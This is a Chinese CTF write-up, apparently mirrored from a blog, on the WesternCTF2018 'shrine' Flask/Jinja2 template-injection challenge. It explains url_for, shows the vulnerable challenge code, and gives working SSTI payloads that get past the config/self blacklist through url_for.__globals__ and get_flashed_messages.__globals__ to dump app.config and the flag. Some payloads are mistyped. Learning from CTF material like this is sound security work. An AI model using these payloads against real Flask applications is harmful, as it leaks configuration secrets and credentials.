码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine


    知识点:

    url_for和get_flashed_messages

    global 设置全局变量,使内部变量值可以被操作

    __globals__(这个函数的结果只表示可读的量)使用方法是 fun._globals_[ ],具体参考【Python】关于python里的global、__globals__、全局变量与多进程的一点理解_小灰狼码代码ing的博客-CSDN博客___globals__

    3.3 url_for()的使用:

    3.3.1 简介视图函数:

    我们在访问一个网址的时候在调用flask项目的时候需要调用的是一段具体的代码,也就是一个python类或者python函数,在这里这个python类我们称之为视图类,python函数我们称之为视图函数。

    3.3.2 url_for()的作用:

    如果我们在视图函数中想使用一个url,比如给前端返回,或者我们在这个视图函数中返回一个模板文件都会使用到url,url相当于一把钥匙可以开启一些资源。如果你修改了注册路由编写的url规则,相当于修改了钥匙。那么其他的视图函数依旧是使用了原来的钥匙就无效了,如果项目是一个大项目,你一点点手动的去改涉及到的的url就不合理了。url_for()就是用来解决这个问题的。

    3.3.3 url_for()的原理:

    利用视图函数名字一般不会改变的特性,利用视图函数的名字去动态精准的获取url,以便于开发使用。

    url_for('视图函数名字')   # 输出该视图函数url

     

    1. from flask import Flask, url_for
    2. app = Flask(__name__)
    3. app.config.update(DEBUG=True)
    4. @app.route('/')
    5. def demo1():
    6. print(url_for("book")) # 注意这个引用的是视图函数的名字 字符串格式
    7. print(type(url_for("book")))
    8. return url_for("book")
    9. @app.route('/book_list/')
    10. def book():
    11. return 'flask_book'
    12. if __name__ == "__main__":
    13. app.run()

    执行结果;

    他会返回他的地址;

     以上内容来自02_详解Flask中的URL ——url_for() 与 自定义动态路由过滤器_Abernorland的博客-CSDN博客_url_for

     题目代码:
     

    1. import flask
    2. import os
    3. app = flask.Flask(__name__)
    4. app.config['FLAG'] = os.environ.pop('FLAG')
    5. @app.route('/')
    6. def index():
    7. return open(__file__).read()
    8. @app.route('/shrine/')
    9. def shrine(shrine):
    10. def safe_jinja(s):
    11. s = s.replace('(', '').replace(')', '')
    12. blacklist = ['config', 'self']
    13. return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
    14. + s
    15. return flask.render_template_string(safe_jinja(shrine))
    16. if __name__ == '__main__':
    17. app.run(debug=True)

    app.config['FLAG'] = os.environ.pop('FLAG')

    注册了一个名为FLAG的config

    如果没有过滤可以直接{{config}}即可查看所有app.config内容,而flag可能就藏在里面,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s  把他的内容置换为空;

    所以用{{config}} 显示空

    就可以使用url_for ;

    url_for._globals_

     

    看到爆出 ‘current_app’

    继续爆config 

    url_for._globals_[‘current_app’].config

     

    get_flashed_message()
    
    -假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息

    同样的操作:

    /shrine/{{get_flashed_messages.__globals__['current_app'].config}}
     

  • 相关阅读:
    2024.05.21 校招 实习 内推 面经
    QT QAxWidget控件 使用详解
    路由进阶:route-policy实验配置
    数字化转型 — 工业数字化转型 — 工业自动化和控制系统
    人工智能:一种现代的方法 第三章 经典搜索 下
    可视化剪辑,账号矩阵管理,视频分发,聚合私信多功能一体化营销工具 源代码开发部署方案
    Spring的事件机制
    从0到1 手把手搭建spring cloud alibaba 微服务大型应用框架(九)文件服务篇(1):minio 单机与集群搭建
    软考笔记--云原生架构相关技术
    重学Elasticsearch第2章 : ElasticSearch客户端操作索引、映射、文档
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126255467
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号